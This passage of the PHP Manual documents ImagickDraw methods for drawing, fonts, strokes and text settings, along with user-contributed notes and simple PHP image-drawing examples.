$image->newImage( $width, $height, new ImagickPixel( 'lightgray' ) );

$draw = new ImagickDraw();    //Create a new drawing class (?)

$draw->setFillColor('wheat');    // Set up some colors to use for fill and outline
$draw->setStrokeColor( new ImagickPixel( 'green' ) );
$draw->rectangle( 100, 100, 200, 200 );    // Draw the rectangle

// Lets draw another
$draw->setFillColor('navy');    // Set up some colors to use for fill and outline
$draw->setStrokeColor( new ImagickPixel( 'yellow' ) );
$draw->setStrokeWidth(4);
$draw->rectangle( 150, 225, 350, 300 );    // Draw the rectangle

// and another
$draw->setFillColor('magenta');    // Set up some colors to use for fill and outline
$draw->setStrokeColor( new ImagickPixel( 'cyan' ) );
$draw->setStrokeWidth(2);
$draw->rectangle( 380, 100, 400, 350 );    // Draw the rectangle

$image->drawImage( $draw );    // Apply the stuff from the draw class to the image canvas

$image->setImageFormat('jpg');    // Give the image a format

header('Content-type: image/jpeg');     // Prepare the web browser to display an image
echo $image;                // Publish it to the world!

//$image->writeImage('someimage.jpg");    // ...Or just write it to a file...

?>


Renders all preceding drawing commands onto the image

  • « ImagickDraw::rectangle
  • ImagickDraw::rotate »
  • PHP Manual
  • ImagickDraw
  • Renders all preceding drawing commands onto the image

ImagickDraw::render

(PECL imagick 2.0.0)

ImagickDraw::render — Renders all preceding drawing commands onto the image

Description

bool ImagickDraw::render ( void )
Warning

This function is currently not documented; only its argument list is available.

Renders all preceding drawing commands onto the image.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Applies the specified rotation to the current coordinate space

  • « ImagickDraw::render
  • ImagickDraw::roundRectangle »
  • PHP Manual
  • ImagickDraw
  • Applies the specified rotation to the current coordinate space

ImagickDraw::rotate

(PECL imagick 2.0.0)

ImagickDraw::rotate — Applies the specified rotation to the current coordinate space

Description

bool ImagickDraw::rotate ( float $degrees )
Warning

This function is currently not documented; only its argument list is available.

Applies the specified rotation to the current coordinate space.

Parameters

degrees

degrees to rotate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Draws a rounded rectangle

  • « ImagickDraw::rotate
  • ImagickDraw::scale »
  • PHP Manual
  • ImagickDraw
  • Draws a rounded rectangle

ImagickDraw::roundRectangle

(PECL imagick 2.0.0)

ImagickDraw::roundRectangle — Draws a rounded rectangle

Description

bool ImagickDraw::roundRectangle ( float $x1 , float $y1 , float $x2 , float $y2 , float $rx , float $ry )
Warning

This function is currently not documented; only its argument list is available.

Draws a rounded rectangle given two coordinates, x & y corner radiuses and using the current stroke, stroke width, and fill settings.

Parameters

x1

x coordinate of the top left corner

y1

y coordinate of the top left corner

x2

x coordinate of the bottom right

y2

y coordinate of the bottom right

rx

x rounding

ry

y rounding

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Adjusts the scaling factor

  • « ImagickDraw::roundRectangle
  • ImagickDraw::setClipPath »
  • PHP Manual
  • ImagickDraw
  • Adjusts the scaling factor

ImagickDraw::scale

(PECL imagick 2.0.0)

ImagickDraw::scale — Adjusts the scaling factor

Description

bool ImagickDraw::scale ( float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Adjusts the scaling factor to apply in the horizontal and vertical directions to the current coordinate space.

Parameters

x

horizontal factor

y

vertical factor

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Associates a named clipping path with the image

  • « ImagickDraw::scale
  • ImagickDraw::setClipRule »
  • PHP Manual
  • ImagickDraw
  • Associates a named clipping path with the image

ImagickDraw::setClipPath

(PECL imagick 2.0.0)

ImagickDraw::setClipPath — Associates a named clipping path with the image

Description

bool ImagickDraw::setClipPath ( string $clip_mask )
Warning

This function is currently not documented; only its argument list is available.

Associates a named clipping path with the image. Only the areas drawn on by the clipping path will be modified as long as it remains in effect.

Parameters

clip_mask

the clipping path name

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Set the polygon fill rule to be used by the clipping path

  • « ImagickDraw::setClipPath
  • ImagickDraw::setClipUnits »
  • PHP Manual
  • ImagickDraw
  • Set the polygon fill rule to be used by the clipping path

ImagickDraw::setClipRule

(PECL imagick 2.0.0)

ImagickDraw::setClipRule — Set the polygon fill rule to be used by the clipping path

Description

bool ImagickDraw::setClipRule ( int $fill_rule )
Warning

This function is currently not documented; only its argument list is available.

Set the polygon fill rule to be used by the clipping path.

Parameters

fill_rule

FILLRULE_ constant

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the interpretation of clip path units

  • « ImagickDraw::setClipRule
  • ImagickDraw::setFillAlpha »
  • PHP Manual
  • ImagickDraw
  • Sets the interpretation of clip path units

ImagickDraw::setClipUnits

(PECL imagick 2.0.0)

ImagickDraw::setClipUnits — Sets the interpretation of clip path units

Description

bool ImagickDraw::setClipUnits ( int $clip_units )
Warning

This function is currently not documented; only its argument list is available.

Sets the interpretation of clip path units.

Parameters

clip_units

the number of clip units

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the opacity to use when drawing using the fill color or fill texture

  • « ImagickDraw::setClipUnits
  • ImagickDraw::setFillColor »
  • PHP Manual
  • ImagickDraw
  • Sets the opacity to use when drawing using the fill color or fill texture

ImagickDraw::setFillAlpha

(PECL imagick 2.0.0)

ImagickDraw::setFillAlpha — Sets the opacity to use when drawing using the fill color or fill texture

Description

bool ImagickDraw::setFillAlpha ( float $opacity )
Warning

This function is currently not documented; only its argument list is available.

Sets the opacity to use when drawing using the fill color or fill texture. Fully opaque is 1.0.

Parameters

opacity

fill alpha

Return Values

No value is returned.

User Contributed Notes

Mark van der Velden 06-Dec-2007 10:37
setFillAlpha is deprecated use the replacement: setFillOpacity


Sets the fill color to be used for drawing filled objects

  • « ImagickDraw::setFillAlpha
  • ImagickDraw::setFillOpacity »
  • PHP Manual
  • ImagickDraw
  • Sets the fill color to be used for drawing filled objects

ImagickDraw::setFillColor

(PECL imagick 2.0.0)

ImagickDraw::setFillColor — Sets the fill color to be used for drawing filled objects

Description

bool ImagickDraw::setFillColor ( ImagickPixel $fill_pixel )
Warning

This function is currently not documented; only its argument list is available.

Sets the fill color to be used for drawing filled objects.

Parameters

fill_pixel

ImagickPixel to use to set the color

Return Values

No value is returned.

User Contributed Notes

moguchicorp at gmail dot com 15-Mar-2011 12:00
It also accepts color definitions by name and hexa, as in

<?php
$draw = new ImagickDraw();

/* defined color black */
$draw->setFillColor('black');

/* some light brown */
$draw->setFillColor('#a4610f');

?>


Sets the opacity to use when drawing using the fill color or fill texture

  • « ImagickDraw::setFillColor
  • ImagickDraw::setFillPatternURL »
  • PHP Manual
  • ImagickDraw
  • Sets the opacity to use when drawing using the fill color or fill texture

ImagickDraw::setFillOpacity

(PECL imagick 2.0.0)

ImagickDraw::setFillOpacity — Sets the opacity to use when drawing using the fill color or fill texture

Description

bool ImagickDraw::setFillOpacity ( float $fillOpacity )
Warning

This function is currently not documented; only its argument list is available.

Sets the opacity to use when drawing using the fill color or fill texture. Fully opaque is 1.0.

Parameters

fillOpacity

the fill opacity

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the URL to use as a fill pattern for filling objects

  • « ImagickDraw::setFillOpacity
  • ImagickDraw::setFillRule »
  • PHP Manual
  • ImagickDraw
  • Sets the URL to use as a fill pattern for filling objects

ImagickDraw::setFillPatternURL

(PECL imagick 2.0.0)

ImagickDraw::setFillPatternURL — Sets the URL to use as a fill pattern for filling objects

Description

bool ImagickDraw::setFillPatternURL ( string $fill_url )
Warning

This function is currently not documented; only its argument list is available.

Sets the URL to use as a fill pattern for filling objects. Only local URLs ("#identifier") are supported at this time. These local URLs are normally created by defining a named fill pattern with DrawPushPattern/DrawPopPattern.

Parameters

fill_url

URL to use to obtain fill pattern.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Sets the fill rule to use while drawing polygons

  • « ImagickDraw::setFillPatternURL
  • ImagickDraw::setFont »
  • PHP Manual
  • ImagickDraw
  • Sets the fill rule to use while drawing polygons

ImagickDraw::setFillRule

(PECL imagick 2.0.0)

ImagickDraw::setFillRule — Sets the fill rule to use while drawing polygons

Description

bool ImagickDraw::setFillRule ( int $fill_rule )
Warning

This function is currently not documented; only its argument list is available.

Sets the fill rule to use while drawing polygons.

Parameters

fill_rule

FILLRULE_ constant

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the fully-specified font to use when annotating with text

  • « ImagickDraw::setFillRule
  • ImagickDraw::setFontFamily »
  • PHP Manual
  • ImagickDraw
  • Sets the fully-specified font to use when annotating with text

ImagickDraw::setFont

(PECL imagick 2.0.0)

ImagickDraw::setFont — Sets the fully-specified font to use when annotating with text

Description

bool ImagickDraw::setFont ( string $font_name )
Warning

This function is currently not documented; only its argument list is available.

Sets the fully-specified font to use when annotating with text.

Parameters

font_name

Return Values

Returns TRUE on success.

User Contributed Notes

Anonymous 07-Apr-2011 02:54
To get a list of fonts that ImageMagick knows about, enter this from a cmd shell:
 convert -list font
zombiebovine at gmail dot com 14-Sep-2009 02:49
The only acceptable parameters I've been able to use are the location, relative to site root, of a font file.

e.g,
$draw->setFont("fonts/arial.ttf");


Sets the font family to use when annotating with text

  • « ImagickDraw::setFont
  • ImagickDraw::setFontSize »
  • PHP Manual
  • ImagickDraw
  • Sets the font family to use when annotating with text

ImagickDraw::setFontFamily

(PECL imagick 2.0.0)

ImagickDraw::setFontFamily — Sets the font family to use when annotating with text

Description

bool ImagickDraw::setFontFamily ( string $font_family )
Warning

This function is currently not documented; only its argument list is available.

Sets the font family to use when annotating with text.

Parameters

font_family

the font family

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Sets the font pointsize to use when annotating with text

  • « ImagickDraw::setFontFamily
  • ImagickDraw::setFontStretch »
  • PHP Manual
  • ImagickDraw
  • Sets the font pointsize to use when annotating with text

ImagickDraw::setFontSize

(PECL imagick 2.0.0)

ImagickDraw::setFontSize — Sets the font pointsize to use when annotating with text

Description

bool ImagickDraw::setFontSize ( float $pointsize )
Warning

This function is currently not documented; only its argument list is available.

Sets the font pointsize to use when annotating with text.

Parameters

pointsize

the point size

Return Values

No value is returned.

User Contributed Notes

hmkrox at gmail dot com 03-Aug-2009 04:10
The font size taken in parameter is not the size in point (1 point = 1/72 inch) but the font's height in pixel.
Therefore you should do a conversion to have the correct font size if you want to modify a document destined to print.
For example, if your document's resolution is 300ppi, you should add a 25/6 multiplying factor to your fontsize in order to have a correct behaviour of the font.
jgsujith at in dot com 15-Jul-2009 03:23
<?php
$sourceFile='in.jpg';
$textWrite='God is Great';
$x=50;
$y=50;
$fontColor='#000000';
$fontSize=34;

$colorPix=new ImagickPixel ($fontColor);
$image=new Imagick ($sourceFile);
$draw=new ImagickDraw();

$draw->setFontSize($fontSize);//Sets the font pointsize to use when annotating with text

$draw->setFillColor($colorPix);//Sets the fill color to be used for drawing filled objects

$image->annotateImage($draw,$x,$y,0,$textWrite);//Annotates an image with text

$image->writeImage('out.jpg');//Writes an image to the specified filename
?>


Sets the font stretch to use when annotating with text

  • « ImagickDraw::setFontSize
  • ImagickDraw::setFontStyle »
  • PHP Manual
  • ImagickDraw
  • Sets the font stretch to use when annotating with text

ImagickDraw::setFontStretch

(PECL imagick 2.0.0)

ImagickDraw::setFontStretch — Sets the font stretch to use when annotating with text

Description

bool ImagickDraw::setFontStretch ( int $fontStretch )
Warning

This function is currently not documented; only its argument list is available.

Sets the font stretch to use when annotating with text. The AnyStretch enumeration acts as a wild-card "don't care" option.

Parameters

fontStretch

STRETCH_ constant

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the font style to use when annotating with text

  • « ImagickDraw::setFontStretch
  • ImagickDraw::setFontWeight »
  • PHP Manual
  • ImagickDraw
  • Sets the font style to use when annotating with text

ImagickDraw::setFontStyle

(PECL imagick 2.0.0)

ImagickDraw::setFontStyle — Sets the font style to use when annotating with text

Description

bool ImagickDraw::setFontStyle ( int $style )
Warning

This function is currently not documented; only its argument list is available.

Sets the font style to use when annotating with text. The AnyStyle enumeration acts as a wild-card "don't care" option.

Parameters

style

STYLETYPE_ constant

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the font weight

  • « ImagickDraw::setFontStyle
  • ImagickDraw::setGravity »
  • PHP Manual
  • ImagickDraw
  • Sets the font weight

ImagickDraw::setFontWeight

(PECL imagick 2.0.0)

ImagickDraw::setFontWeight — Sets the font weight

Description

bool ImagickDraw::setFontWeight ( int $font_weight )
Warning

This function is currently not documented; only its argument list is available.

Sets the font weight to use when annotating with text.

Parameters

font_weight

Return Values

User Contributed Notes

skmanji at manji dot org 26-May-2009 02:15
Valid Range 100-900. I found that any value 551 and above would give me bold.


Sets the text placement gravity

  • « ImagickDraw::setFontWeight
  • ImagickDraw::setStrokeAlpha »
  • PHP Manual
  • ImagickDraw
  • Sets the text placement gravity

ImagickDraw::setGravity

(PECL imagick 2.0.0)

ImagickDraw::setGravity — Sets the text placement gravity

Description

bool ImagickDraw::setGravity ( int $gravity )
Warning

This function is currently not documented; only its argument list is available.

Sets the text placement gravity to use when annotating with text.

Parameters

gravity

GRAVITY_ constant

Return Values

No value is returned.

User Contributed Notes

bcre8ve at gmail dot com 13-Sep-2013 11:15
It appears that the GRAVITY constants have an integer equivalent:
NORTHWEST = 1
NORTH = 2
NORTHEAST = 3
WEST = 4
CENTER = 5
EAST = 6
SOUTHWEST = 7
SOUTH = 8
SOUTHEAST = 9
alan at ridersite dot org 28-Aug-2007 04:51
Gravity constants are very useful as they can save having to calculate the placement of variable text strings and font sizes.

For example:
$draw->setGravity (Imagick::GRAVITY_CENTER);
$image->annotateImage($draw, 0, 0, 0, 'The quick brown fox jumps over the lazy dog');

Will horizontally and vertically center the text string.

Note, there are several gravity constants available. See, Constants — Imagick class constants


Specifies the opacity of stroked object outlines

  • « ImagickDraw::setGravity
  • ImagickDraw::setStrokeAntialias »
  • PHP Manual
  • ImagickDraw
  • Specifies the opacity of stroked object outlines

ImagickDraw::setStrokeAlpha

(PECL imagick 2.0.0)

ImagickDraw::setStrokeAlpha — Specifies the opacity of stroked object outlines

Description

bool ImagickDraw::setStrokeAlpha ( float $opacity )
Warning

This function is currently not documented; only its argument list is available.

Specifies the opacity of stroked object outlines.

Parameters

opacity

opacity

Return Values

No value is returned.

User Contributed Notes

Thomas 19-Sep-2014 09:30
Must be set after setStrokeColor().

Values between 0 (invisible) and 1.


Controls whether stroked outlines are antialiased

  • « ImagickDraw::setStrokeAlpha
  • ImagickDraw::setStrokeColor »
  • PHP Manual
  • ImagickDraw
  • Controls whether stroked outlines are antialiased

ImagickDraw::setStrokeAntialias

(PECL imagick 2.0.0)

ImagickDraw::setStrokeAntialias — Controls whether stroked outlines are antialiased

Description

bool ImagickDraw::setStrokeAntialias ( bool $stroke_antialias )
Warning

This function is currently not documented; only its argument list is available.

Controls whether stroked outlines are antialiased. Stroked outlines are antialiased by default. When antialiasing is disabled stroked pixels are thresholded to determine if the stroke color or underlying canvas color should be used.

Parameters

stroke_antialias

the antialias setting

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the color used for stroking object outlines

  • « ImagickDraw::setStrokeAntialias
  • ImagickDraw::setStrokeDashArray »
  • PHP Manual
  • ImagickDraw
  • Sets the color used for stroking object outlines

ImagickDraw::setStrokeColor

(PECL imagick 2.0.0)

ImagickDraw::setStrokeColor — Sets the color used for stroking object outlines

Description

bool ImagickDraw::setStrokeColor ( ImagickPixel $stroke_pixel )
Warning

This function is currently not documented; only its argument list is available.

Sets the color used for stroking object outlines.

Parameters

stroke_pixel

the stroke color

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the pattern of dashes and gaps used to stroke paths

  • « ImagickDraw::setStrokeColor
  • ImagickDraw::setStrokeDashOffset »
  • PHP Manual
  • ImagickDraw
  • Specifies the pattern of dashes and gaps used to stroke paths

ImagickDraw::setStrokeDashArray

(PECL imagick 2.0.0)

ImagickDraw::setStrokeDashArray — Specifies the pattern of dashes and gaps used to stroke paths

Description

bool ImagickDraw::setStrokeDashArray ( array $dashArray )
Warning

This function is currently not documented; only its argument list is available.

Specifies the pattern of dashes and gaps used to stroke paths. The strokeDashArray represents an array of numbers that specify the lengths of alternating dashes and gaps in pixels. If an odd number of values is provided, then the list of values is repeated to yield an even number of values. To remove an existing dash array, pass a zero number_elements argument and null dash_array. A typical strokeDashArray_ array might contain the members 5 3 2.

Parameters

dashArray

array of floats

Return Values

Returns TRUE on success.

User Contributed Notes

andrew at ierbsolutions dot co dot uk 22-Oct-2008 11:11
Example:

<?php
$base_image = new Imagick('example.png');
$rect = new ImagickDraw();
$rect->setFillColor(new ImagickPixel("#EEEEEE"));
$rect->setFillOpacity(0);
$rect->setStrokeColor(new ImagickPixel("#FF0000"));
$rect->setStrokeDashArray(array(5,5,5));
$rect->rectangle(10, 10, 100, 100);
$base_image->drawImage($rect);

header('Content-type: image/png');
echo $base_image->getImage();
exit();
?>


Specifies the offset into the dash pattern to start the dash

  • « ImagickDraw::setStrokeDashArray
  • ImagickDraw::setStrokeLineCap »
  • PHP Manual
  • ImagickDraw
  • Specifies the offset into the dash pattern to start the dash

ImagickDraw::setStrokeDashOffset

(PECL imagick 2.0.0)

ImagickDraw::setStrokeDashOffset — Specifies the offset into the dash pattern to start the dash

Description

bool ImagickDraw::setStrokeDashOffset ( float $dash_offset )
Warning

This function is currently not documented; only its argument list is available.

Specifies the offset into the dash pattern to start the dash.

Parameters

dash_offset

dash offset

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the shape to be used at the end of open subpaths when they are stroked

  • « ImagickDraw::setStrokeDashOffset
  • ImagickDraw::setStrokeLineJoin »
  • PHP Manual
  • ImagickDraw
  • Specifies the shape to be used at the end of open subpaths when they are stroked

ImagickDraw::setStrokeLineCap

(PECL imagick 2.0.0)

ImagickDraw::setStrokeLineCap — Specifies the shape to be used at the end of open subpaths when they are stroked

Description

bool ImagickDraw::setStrokeLineCap ( int $linecap )
Warning

This function is currently not documented; only its argument list is available.

Specifies the shape to be used at the end of open subpaths when they are stroked.

Parameters

linecap

LINECAP_ constant

Return Values

No value is returned.

User Contributed Notes

sudopeople gmail 22-Oct-2009 12:35
Possible values are:

LINEJOIN_UNDEFINED
LINEJOIN_MITER
LINEJOIN_ROUND
LINEJOIN_BEVEL

...all prefixed with Imagick:: like:

Imagick::LINEJOIN_ROUND


Specifies the shape to be used at the corners of paths when they are stroked

  • « ImagickDraw::setStrokeLineCap
  • ImagickDraw::setStrokeMiterLimit »
  • PHP Manual
  • ImagickDraw
  • Specifies the shape to be used at the corners of paths when they are stroked

ImagickDraw::setStrokeLineJoin

(PECL imagick 2.0.0)

ImagickDraw::setStrokeLineJoin — Specifies the shape to be used at the corners of paths when they are stroked

Description

bool ImagickDraw::setStrokeLineJoin ( int $linejoin )
Warning

This function is currently not documented; only its argument list is available.

Specifies the shape to be used at the corners of paths (or other vector shapes) when they are stroked.

Parameters

linejoin

LINEJOIN_ constant

Return Values

No value is returned.

User Contributed Notes

sudopeople gmail 22-Oct-2009 12:32
For many (myself included) Rex's note maybe not be blatant enough. The constants are declared for the Imagick class only, so using them requires this syntax: Imagick::LINEJOIN_ constant

Here's an example oh how you might use it:

<?php
$img = new Imagick();
$img->newImage($width, $height, new ImagickPixel('transparent'));
$draw = new ImagickDraw();
$draw->setStrokeLineJoin(Imagick::LINEJOIN_ROUND);
?>

If you're not drawing polylines and are drawing simple lines, also see setStrokeLineCap
Rex Schrader 18-May-2009 05:36
From imagick_helpers.c (pecl release), possible values are:
  LINEJOIN_UNDEFINED
  LINEJOIN_MITER
  LINEJOIN_ROUND
  LINEJOIN_BEVEL


Specifies the miter limit

  • « ImagickDraw::setStrokeLineJoin
  • ImagickDraw::setStrokeOpacity »
  • PHP Manual
  • ImagickDraw
  • Specifies the miter limit

ImagickDraw::setStrokeMiterLimit

(PECL imagick 2.0.0)

ImagickDraw::setStrokeMiterLimit — Specifies the miter limit

Description

bool ImagickDraw::setStrokeMiterLimit ( int $miterlimit )
Warning

This function is currently not documented; only its argument list is available.

Specifies the miter limit. When two line segments meet at a sharp angle and miter joins have been specified for 'lineJoin', it is possible for the miter to extend far beyond the thickness of the line stroking the path. The miterLimit' imposes a limit on the ratio of the miter length to the 'lineWidth'.

Parameters

miterlimit

the miter limit

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the opacity of stroked object outlines

  • « ImagickDraw::setStrokeMiterLimit
  • ImagickDraw::setStrokePatternURL »
  • PHP Manual
  • ImagickDraw
  • Specifies the opacity of stroked object outlines

ImagickDraw::setStrokeOpacity

(PECL imagick 2.0.0)

ImagickDraw::setStrokeOpacity — Specifies the opacity of stroked object outlines

Description

bool ImagickDraw::setStrokeOpacity ( float $stroke_opacity )
Warning

This function is currently not documented; only its argument list is available.

Specifies the opacity of stroked object outlines.

Parameters

stroke_opacity

stroke opacity. 1.0 is fully opaque

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the pattern used for stroking object outlines

  • « ImagickDraw::setStrokeOpacity
  • ImagickDraw::setStrokeWidth »
  • PHP Manual
  • ImagickDraw
  • Sets the pattern used for stroking object outlines

ImagickDraw::setStrokePatternURL

(PECL imagick 2.0.0)

ImagickDraw::setStrokePatternURL — Sets the pattern used for stroking object outlines

Description

bool ImagickDraw::setStrokePatternURL ( string $stroke_url )
Warning

This function is currently not documented; only its argument list is available.

Sets the pattern used for stroking object outlines.

Parameters

stroke_url

stroke URL

Return Values

imagick.imagickdraw.return.success;

User Contributed Notes

There are no user contributed notes for this page.


Sets the width of the stroke used to draw object outlines

  • « ImagickDraw::setStrokePatternURL
  • ImagickDraw::setTextAlignment »
  • PHP Manual
  • ImagickDraw
  • Sets the width of the stroke used to draw object outlines

ImagickDraw::setStrokeWidth

(PECL imagick 2.0.0)

ImagickDraw::setStrokeWidth — Sets the width of the stroke used to draw object outlines

Description

bool ImagickDraw::setStrokeWidth ( float $stroke_width )
Warning

This function is currently not documented; only its argument list is available.

Sets the width of the stroke used to draw object outlines.

Parameters

stroke_width

stroke width

Return Values

No value is returned.

User Contributed Notes

Peter - the Pete - de Pijd 09-Jul-2009 11:31
If you set the stroke width to 0, there will often still be a hairline. To remove this hairline, use transparency, f.e. using:
setStrokeColor("#00000000")
hex 0-6 = color -> black
hex 6-8 = opacity -> full transparency
r dot vinke at gmail dot com 03-Nov-2008 03:27
Please note that this function only works (as in: the stroke width changes) when setStrokeColor() is called before.


Specifies a text alignment

  • « ImagickDraw::setStrokeWidth
  • ImagickDraw::setTextAntialias »
  • PHP Manual
  • ImagickDraw
  • Specifies a text alignment

ImagickDraw::setTextAlignment

(PECL imagick 2.0.0)

ImagickDraw::setTextAlignment — Specifies a text alignment

Description

bool ImagickDraw::setTextAlignment ( int $alignment )
Warning

This function is currently not documented; only its argument list is available.

Specifies a text alignment to be applied when annotating with text.

Parameters

alignment

ALIGN_ constant

Return Values

No value is returned.

User Contributed Notes

sebastian dot mayer at maysoft dot de 26-Feb-2009 05:33
<?php

   define("LEFT", 1);
   define("CENTER", 2);
   define("RIGHT", 3);

   $w = 400;
   $h = 200;
   $gradient = new Imagick();
   $gradient->newPseudoImage($w, $h, "gradient:red-black");

   $draw = new ImagickDraw();
   $draw->setFontSize(12);
   $draw->setFillColor(new ImagickPixel("#ffffff"));

   $draw->setTextAlignment(LEFT);
   $draw->annotation(150, 30, "Hello World1!");
   $draw->setTextAlignment(CENTER);
   $draw->annotation(150, 50, "Hello World2!");
   $draw->setTextAlignment(RIGHT);
   $draw->annotation(150, 70, "Hello World3!");

   $draw->setFillColor(new ImagickPixel("#0000aa"));
   $x1 = 150;
   $x2 = 150;
   $y1 = 0;
   $y2 = 200;
   $draw->rectangle($x1, $y1, $x2, $y2);

   $gradient->drawImage($draw);

   $gradient->setImageFormat("png");
   header("Content-Type: image/png");
   echo $gradient;
?>


Controls whether text is antialiased

  • « ImagickDraw::setTextAlignment
  • ImagickDraw::setTextDecoration »
  • PHP Manual
  • ImagickDraw
  • Controls whether text is antialiased

ImagickDraw::setTextAntialias

(PECL imagick 2.0.0)

ImagickDraw::setTextAntialias — Controls whether text is antialiased

Description

bool ImagickDraw::setTextAntialias ( bool $antiAlias )
Warning

This function is currently not documented; only its argument list is available.

Controls whether text is antialiased. Text is antialiased by default.

Parameters

antiAlias

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Specifies a decoration

  • « ImagickDraw::setTextAntialias
  • ImagickDraw::setTextEncoding »
  • PHP Manual
  • ImagickDraw
  • Specifies a decoration

ImagickDraw::setTextDecoration

(PECL imagick 2.0.0)

ImagickDraw::setTextDecoration — Specifies a decoration

Description

bool ImagickDraw::setTextDecoration ( int $decoration )
Warning

This function is currently not documented; only its argument list is available.

Specifies a decoration to be applied when annotating with text.

Parameters

decoration

DECORATION_ constant

Return Values

No value is returned.

User Contributed Notes

mark-paspirgilis at web dot de 12-Jan-2011 06:41
Hi, guys.
I was looking half the day for a documentation about how to set the damn underline...
I found it out myself now.. happy to be able to share my new knowledge with you out there.
$decoration can be those:

1  -  Text will be normal
2  -  Underline
3  -  Upperline
4  -  Stroke-through

regards,
Mark Paspirgilis


Specifies the text code set

  • « ImagickDraw::setTextDecoration
  • ImagickDraw::setTextUnderColor »
  • PHP Manual
  • ImagickDraw
  • Specifies the text code set

ImagickDraw::setTextEncoding

(PECL imagick 2.0.0)

ImagickDraw::setTextEncoding — Specifies the text code set

Description

bool ImagickDraw::setTextEncoding ( string $encoding )
Warning

This function is currently not documented; only its argument list is available.

Specifies the code set to use for text annotations. The only character encoding which may be specified at this time is "UTF-8" for representing Unicode as a sequence of bytes. Specify an empty string to set text encoding to the system's default. Successful text annotation using Unicode may require fonts designed to support Unicode.

Parameters

encoding

the encoding name

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the color of a background rectangle

  • « ImagickDraw::setTextEncoding
  • ImagickDraw::setVectorGraphics »
  • PHP Manual
  • ImagickDraw
  • Specifies the color of a background rectangle

ImagickDraw::setTextUnderColor

(PECL imagick 2.0.0)

ImagickDraw::setTextUnderColor — Specifies the color of a background rectangle

Description

bool ImagickDraw::setTextUnderColor ( ImagickPixel $under_color )
Warning

This function is currently not documented; only its argument list is available.

Specifies the color of a background rectangle to place under text annotations.

Parameters

under_color

the under color

Return Values

No value is returned.

User Contributed Notes

www dot query at gmail dot com 08-Sep-2011 06:01
When wishing to print some text on a photograph and make that text sufficiently contrasting to the background image, use a 4 byte code for colour and transparency.

It is the same 4 byte code using by the parameter '-undercolor' in ImageMagick's command lime instruction 'convert'.

The first 3 bytes are the RGB colour code and the fourth byte is the transparency byte.

<?php

    $draw = new ImagickDraw();
    $draw->setFillColor('#ffff00');
    $draw->setFont('Eurostile');
    $draw->setFontSize(21);
    $draw->setTextUnderColor('#ff000088');
    $picin->annotateImage($draw,40,$height-10,0,"Hallo");

?>

The example code produces yellow text on a semi-transparent red background.


Sets the vector graphics

  • « ImagickDraw::setTextUnderColor
  • ImagickDraw::setViewbox »
  • PHP Manual
  • ImagickDraw
  • Sets the vector graphics

ImagickDraw::setVectorGraphics

(PECL imagick 2.0.0)

ImagickDraw::setVectorGraphics — Sets the vector graphics

Description

bool ImagickDraw::setVectorGraphics ( string $xml )
Warning

This function is currently not documented; only its argument list is available.

Sets the vector graphics associated with the specified ImagickDraw object. Use this method with ImagickDraw::getVectorGraphics() as a method to persist the vector graphics state.

Parameters

xml

xml containing the vector graphics

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Sets the overall canvas size

  • « ImagickDraw::setVectorGraphics
  • ImagickDraw::skewX »
  • PHP Manual
  • ImagickDraw
  • Sets the overall canvas size

ImagickDraw::setViewbox

(PECL imagick 2.0.0)

ImagickDraw::setViewbox — Sets the overall canvas size

Description

bool ImagickDraw::setViewbox ( int $x1 , int $y1 , int $x2 , int $y2 )
Warning

This function is currently not documented; only its argument list is available.

Sets the overall canvas size to be recorded with the drawing vector data. Usually this will be specified using the same size as the canvas image. When the vector data is saved to SVG or MVG formats, the viewbox is use to specify the size of the canvas image that a viewer will render the vector data on.

Parameters

x1

left x coordinate

y1

left y coordinate

x2

right x coordinate

y2

right y coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Skews the current coordinate system in the horizontal direction

  • « ImagickDraw::setViewbox
  • ImagickDraw::skewY »
  • PHP Manual
  • ImagickDraw
  • Skews the current coordinate system in the horizontal direction

ImagickDraw::skewX

(PECL imagick 2.0.0)

ImagickDraw::skewX — Skews the current coordinate system in the horizontal direction

Description

bool ImagickDraw::skewX ( float $degrees )
Warning

This function is currently not documented; only its argument list is available.

Skews the current coordinate system in the horizontal direction.

Parameters

degrees

degrees to skew

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Skews the current coordinate system in the vertical direction

  • « ImagickDraw::skewX
  • ImagickDraw::translate »
  • PHP Manual
  • ImagickDraw
  • Skews the current coordinate system in the vertical direction

ImagickDraw::skewY

(PECL imagick 2.0.0)

ImagickDraw::skewY — Skews the current coordinate system in the vertical direction

Description

bool ImagickDraw::skewY ( float $degrees )
Warning

This function is currently not documented; only its argument list is available.

Skews the current coordinate system in the vertical direction.

Parameters

degrees

degrees to skew

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Applies a translation to the current coordinate system

  • « ImagickDraw::skewY
  • ImagickPixel »
  • PHP Manual
  • ImagickDraw
  • Applies a translation to the current coordinate system

ImagickDraw::translate

(PECL imagick 2.0.0)

ImagickDraw::translate — Applies a translation to the current coordinate system

Description

